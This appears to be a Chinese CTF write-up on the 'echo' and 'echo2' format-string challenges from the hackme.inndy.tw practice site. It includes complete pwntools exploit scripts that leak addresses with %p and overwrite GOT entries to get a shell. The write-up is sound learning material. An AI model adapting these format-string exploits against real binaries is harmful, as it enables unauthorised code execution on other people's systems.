https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了echo和echo2这两个题目感觉还不错,我把wp分享出来,方便大家学习
echo的要求是

nc hackme.inndy.tw 7711
Tips: format string vulnerability

这个题目提示了是格式化字符串漏洞,所以先了解一下啥是格式化漏洞,参考
http://www.freebuf.com/articles/system/74224.html,http://bobao.360.cn/learning/detail/3654.html,http://bobao.360.cn/learning/detail/3674.html,https://paper.seebug.org/246/ 这四篇文章
下面我用ida打开ehco这个程序看main函数

可以看到这个程序很简单,循环输入,然后把输入的字符串输出到printf函数中,这个也就造成了格式化字符串漏洞
先运行一下程序看一下这个程序干了啥

可以看到这个程序在输入%p的时候把栈中保存的数据打印了出来
再看看程序开启了哪些保护:

看到NX enabled是开启了栈不可执行

可以通过while循环多次利用,很经典的利用方式,由于此题目没有开地址随机化,所以计算出system的plt表地址system_plt_addr,再覆写printf_got为system_plt_addr,关于got表和plt表的介绍可以参考下面的文章:http://blog.csdn.net/linyt/article/details/51635768
之后通过fgets读入”/bin/sh”时,printf(“/bin/sh”)已经相当于system(“/bin/sh”),即可get shell
下面是我的exp

from pwn import *def debug(addr = '0x080485B8'):raw_input('debug:')gdb.attach(r, "b *" + addr)#objdump -dj .plt test
context(arch='i386', os='linux', log_level='debug')r = process('/home/h11p/hackme/echo')#r = remote('hackme.inndy.tw', 7711)elf = ELF('/home/h11p/hackme/echo')printf_got_addr = elf.got['printf']
print "%x" % printf_got_addr
system_plt_addr = elf.plt['system']
print "%x" % system_plt_addrpayload = fmtstr_payload(7, {printf_got_addr: system_plt_addr})
print payload                          #\x10\xa0\x0\x11\xa0\x0\x12\xa0\x0\x13\xa0\x0%240c%7$hhn%132c%8$hhn%128c%9$hhn%4c%10$hhn
debug()
r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()

下面我介绍一下fmtstr_payload这个函数,这个是专门为32位程序格式化字符串漏洞输出payload的一个函数,首先第一次参数是一个偏移量,可以由下面的代码提供这个偏移量的值

from pwn import *
context.log_level = 'debug'
def exec_fmt(payload):p = process("/home/h11p/hackme/echo")p.sendline(payload)info = p.recv()p.close()return info
autofmt = FmtStr(exec_fmt)
print autofmt.offset


可以看到这个题目的偏移量是7
第二个参数是一个字典,意义是往key的地址,写入value的值
这个题目很简单,很快就解决了

下面是echo2这个题目,这个题目有点难度,我花了几乎两周时间来学习和思考
echo2的要求是

nc hackme.inndy.tw 7712Tips: ASLR enabled

下面我用ida打开ehco这个程序看main函数

查看echo函数

这个程序的流程和上一个程序的流程没有什么区别,唯一的区别是这个程序是64位的

再看看程序开启了哪些保护:

可以看到这个程序开启了栈不可执行,地址随机化这两个防御措施
所以一开始这个代码调试起来就很有挑战,首先参考一篇文章
http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html
这篇文章最后实现了一个DynELF_manual.py,这个脚本是打印指定进程的基地址,libc的基地址等程序运行时各种地址的信息,这里我看到这个脚本可以显示程序基地址,于是我就把其中的代码抽出来,因为我如果想在程序中下断点的话,必然是基地址+偏移地址,所以我的调试的代码是这样的

from pwn import *
import sys, os
import rewordSz = 4
hwordSz = 2
bits = 32
PIE = 0
mypid=0context(arch='amd64', os='linux', log_level='debug')def leak(address, size):with open('/proc/%s/mem' % mypid) as mem:mem.seek(address)return mem.read(size)def findModuleBase(pid, mem):name = os.readlink('/proc/%s/exe' % pid)with open('/proc/%s/maps' % pid) as maps:for line in maps:if name in line:addr = int(line.split('-')[0], 16)mem.seek(addr)if mem.read(4) == "\x7fELF":bitFormat = u8(leak(addr + 4, 1))if bitFormat == 2:global wordSzglobal hwordSzglobal bitswordSz = 8hwordSz = 4bits = 64return addrlog.failure("Module's base address not found.")sys.exit(1)def debug(addr = 0):global mypidmypid = proc.pidof(r)[0]raw_input('debug:')with open('/proc/%s/mem' % mypid) as mem:moduleBase = findModuleBase(mypid, mem)gdb.attach(r, "set follow-fork-mode parent\nb *" + hex(moduleBase+addr))

这样的传入一个偏移地址就可以在gdb中成功下断了,补充一点说明,gdb中set follow-fork-mode parent这个指令的意思是:默认设置下,在调试多进程程序时GDB只会调试主进程。但是设置follow-fork-mode的话,就可调试多个进程。
set follow-fork-mode parent|child:
进入gdb后默认调试的是parent,要想调试child的话,需要设置set follow-fork-mode child,然后进入调试。当然这种方式只能同时调试一个进程。也就是当你在exit(0);这个函数下断点的时候,不会因为上面调用了system(“echo Goodbye”);而让gdb跑掉。

好下面开始调试,首先我把断点下在0x000000000000097F这里debug(addr=0x000000000000097F),然后运行,发现程序成功断在你想下断的位置

因为程序开启了随机化地址,所以首先要泄露程序的基地址和libc的基地址还要确定libc的版本
因为函数的返回地址都保存在栈中,所以要多打印一些栈中的信息

def test_leak():payload="aaaaaaaa."for i in xrange(20,50):payload=payload+"%"+str(i)+"$p"payload=payload+"."print payloadr.sendline(payload)r.recv()

因为输入的长度有限,所以每次最多打印50个栈中的数据,在调试的时候会发现除了函数的返回地址,打印一些其他函数的返回地址,比如__libc_start_main

通过这个函数可以把函数返回地址和__libc_start_main的返回地址打印出来,这两个地址分别在41和43这个两个位置上,然后通过对比vmmap显示出来的基地址来计算机这个两个地址的偏移

程序的基地址和libc的基地址都确定了之后,下面要确定libc的版本,参考http://bobao.360.cn/ctf/detail/160.html
在打印出__libc_start_main返回地址之后,减去偏移240(这个偏移在调试的时候可以看到,而且这个偏移是十进制显示的)后可以得到__libc_start_main的实际地址,比如我这里__libc_start_main实际地址就是0x7f84278b1830-240=0x‭7F84278B1740 这里计算出来的尾数是740,然后把这个尾数放入libc-database查询一下是属于哪个版本的libc的

发现是属于libc2.23这个版本的
确定版本之后,就去翻一下libc中有没有可以直接拿来用的代码(翻的思路主要是找libc中/bin/sh的引用),最后发现

这个姿势是从https://github.com/LFlare/picoctf_2017_writeup/blob/master/binary/config-console/solve.py 学到的,记下这个偏移地址0xf0897,我把这个偏移地址命名为MAGIC
最后,也是最关键的步骤,就是将exit的got地址覆盖为MAGIC+libc_module,这样程序在执行到exit的时候就跑去执行我想执行的代码了
这里由三个比较坑的地方要注意:
(1)由于64位的地址中会出现/x00,这里会导致printf截断,为了避免截断,要把exit_got_addr地址放在payload最后面
(2)写的时候每次最多只能写两个字节的数据,所以用printf多循环几次以便把数据覆盖完整
(3)%”+lp1+”c%10$hn 这里的lp必须是十进制的,因为地址会变,所以写入的数据有时候是4位有时候是5位,如果是四位就要在payload前面加入一个字符来填充,这样才能使数据对齐
最后我的exp是:

from pwn import *
import sys, os
import rewordSz = 4
hwordSz = 2
bits = 32
PIE = 0
mypid=0#MAGIC = 0x0f1117      #locallibc
MAGIC = 0x0f0897       #remotelibccontext(arch='amd64', os='linux', log_level='debug')def leak(address, size):with open('/proc/%s/mem' % mypid) as mem:mem.seek(address)return mem.read(size)def findModuleBase(pid, mem):name = os.readlink('/proc/%s/exe' % pid)with open('/proc/%s/maps' % pid) as maps:for line in maps:if name in line:addr = int(line.split('-')[0], 16)mem.seek(addr)if mem.read(4) == "\x7fELF":bitFormat = u8(leak(addr + 4, 1))if bitFormat == 2:global wordSzglobal hwordSzglobal bitswordSz = 8hwordSz = 4bits = 64return addrlog.failure("Module's base address not found.")sys.exit(1)def debug(addr = 0):global mypidmypid = proc.pidof(r)[0]raw_input('debug:')with open('/proc/%s/mem' % mypid) as mem:moduleBase = findModuleBase(mypid, mem)gdb.attach(r, "set follow-fork-mode parent\nb *" + hex(moduleBase+addr)+"\nb 0x7fde6384f0e7")    #b vfprintf.c:2022#r = process('/home/h11p/hackme/echo2')r = remote('hackme.inndy.tw', 7712)elf = ELF('/home/h11p/hackme/echo2')printf_got_addr = elf.got['printf']
printf_plt_addr = elf.plt['printf']exit_got_addr = elf.got['exit']
exit_plt_addr = elf.plt['exit']system_got_addr = elf.got['system']
system_plt_addr = elf.plt['system']#print "%x" %  elf.address#debug(addr=0x000000000000097F)
payload_leak="aaaaaaaa.%43$p.%41$p.%42$p"def test_leak():payload="aaaaaaaa."for i in xrange(40,45):payload=payload+"%"+str(i)+"$p"payload=payload+"."print payloadr.sendline(payload)r.recv()def ext(lp_num):if len(lp_num)==4:return "c"return ""#test_leak()r.sendline(payload_leak)
recv_all=r.recv().split(".")
base_module=eval(recv_all[-2]) -0xa03
print hex(base_module)
libc_module=eval(recv_all[-3]) -0x20830
print hex(libc_module)exit_addr=base_module+exit_got_addr
print_addr=base_module+printf_got_addr
system_addr=base_module+system_plt_addr
got_system_addr=base_module+system_got_addr
plt_print_addr=base_module+printf_plt_addr
MAGIC_addr=libc_module+MAGIChex_exit_addr=hex(exit_addr)
hex_system_addr=hex(system_addr)
hex_got_system_addr=hex(got_system_addr)
hex_print_addr=hex(print_addr)
hex_plt_print_addr=hex(plt_print_addr)
hex_MAGIC_addr=hex(MAGIC_addr)print "system_got:"+hex_got_system_addr
print "print_got:"+hex_print_addr
print "system_plt:"+hex_system_addr
print "print_plt:"+hex_plt_print_addr
print "MAGIC:"+hex_MAGIC_addr#payload="bbbbbbaaaaaaa%154c%9$hhn"+p64(print_addr)
#0x5579cf0ab78c
lp1=str(int(int(hex_MAGIC_addr[-4:],16))-19)
lp2=str(int(int(hex_MAGIC_addr[-8:-4],16))-19)
lp3=str(int(int(hex_MAGIC_addr[-12:-8],16))-19)payload1 = ext(lp1)+"ccccccbbbbbbaaaaaaa%"+lp1+"c%10$hn"+p64(exit_addr)payload2 = ext(lp2)+"ccccccbbbbbbaaaaaaa%"+lp2+"c%10$hn"+p64(exit_addr+2)payload3 = ext(lp3)+"ccccccbbbbbbaaaaaaa%"+lp3+"c%10$hn"+p64(exit_addr+4)r.sendline(payload1)r.sendline(payload2)
r.sendline(payload3)r.sendline('exit')r.interactive()

效果是

echo和echo2的wp相关推荐

  1. 【BurpSuite】插件开发学习之J2EEScan - 汇总篇(主动+被动1-76)

    [BurpSuite]插件开发学习之J2EEScan - 汇总篇(主动+被动1-76) 前言 为了方便查阅,将下列文章合并 [BurpSuite]插件开发学习之J2EEScan(上)-被动扫描 [Bu ...

  2. jar打包混淆上传全自动日志

    第一步: Java的pom.xml文件中要加入导出lib的插件.如下: <build><plugins><plugin><groupId>org.apa ...

  3. PHP是弱类型还是强类型,php弱类型比较(松散比较) | CN-SEC 中文网

    总结一下关于php(拍h片)弱类型相关知识的梳理. 前言 php有八种类型 标量类型:整数型integer,浮点型float,字符串类型string,布尔类型boolen 复合类型:对象 object ...

  4. Nuxt.js整合axios

    整合 axios 默认整合 在构建项目时,如果选择axios组件,nuxt.js将自动与axios进行整合 手动整合 步骤1:package.json有axios的版本 "dependenc ...

  5. wordpress异步ajax上传文件

    分三步 1.建立表单 2.js获取表单数据,用formData打包,然后用ajax提交到admin-ajax.php(wordpress固定用法),最后通过php自定义函数php_upload处理 3 ...

  6. WordPress开发之WP Custom Register Login插件试用

    简介 WP Custom Register Login可以为你的WordPress网站前台增加注册.登录.找回密码的功能:你可以通过简码在任何页面上调用. 此外,该插件还支持设置自动通过用户的电子邮件 ...

  7. 基于Ajax的Web框架Echo2 2.0发布

    Echo2是一个基于Mozilla Public License的开源WEB框架.一个可以用于开发基于Web胖客户端应用程序的框架. ECHO2采用全新的AJAX(Asynchronous JavaS ...

  8. WP博客ajax,WordPress文章点击统计ajax版,兼容wp super cache缓存代码及插件

    自从陌小雨博客历经文章阅读数数次清零后,陌小雨对这个文章浏览数也不是很在意了,这也就是所谓的破罐子破摔吧,但自从陌小雨前段时间再启用 wp super cache 纯缓存代码后,陌小雨觉得还是有必要把 ...

  9. 自定义WP日志标题长度

    为什么80%的码农都做不了架构师?>>>    对于部分特殊的主题,或是一些特殊的区域,Wpers往往需要限制日子标题输出的长度,今天 Jzoy 就教大家一个简单的小技巧来自定义WP ...

最新文章

  1. 在python中使用json格式存储数据
  2. Flutter从0基础到App上线
  3. 从Android的结构看HarmonyOS
  4. 如何使用Sublime Text 2重新格式化HTML代码?
  5. 【Android 组件化】使用 Gradle 实现组件化 ( Gradle 变量定义与使用 )
  6. Mysql 8备份工具mysqlbackup下载安装图解
  7. phpMailer 配置 企业邮局 163
  8. [css] 为什么说对opacity进行动画要比box-shadow进行动画性能更好呢?
  9. v-if、v-for、v-model、v-on
  10. java中读取logback日志文件_java 中使用logback日志,并实现日志按天分类压缩保存。...
  11. Java 核心编程技术干货,2019 最新整理版
  12. mac如何设置默认输入法
  13. 代理服务器使用全攻略(转)
  14. thinkpadt410接口介绍_thinkpad T410的扩展插口!
  15. 《传奇之王》风波不断 编剧替柳云龙打抱不平_0
  16. lua小技巧——lua全局变量的检测
  17. java代码json_JSON 解析(java代码)
  18. 基于改进的 CASA 模型反演30m分辨率NPP
  19. auto.js Pro编写的QQ跳码注册陌陌稳定版脚本源代码,免root运行
  20. 数据挖掘与机器学习:顺序与选择结构

热门文章

  1. 【SemiDrive源码分析】【X9芯片启动流程】20 - MailBox 核间通信机制介绍(代码分析篇)之 MailBox for RTOS 篇
  2. Cocos2dx 2.1.5 孤狼优化整合版V1.1(32位)
  3. 新一代科学教育标准到底是什么?为什么开展 STEM 教育?
  4. 北大计算机楼口语考试,(转自未名)北大考点最全攻略及国外考试经验。。。...
  5. Clamav 杀毒软件安装
  6. 喜欢变形金刚的小可爱看过来!
  7. 软件设计原则和编码规范
  8. Soul网关Hystrix插件相关知识点扫盲
  9. modbus信号与AO AI DO DI的区别是什么
  10. 我找到了用 AI 去马赛克的办法……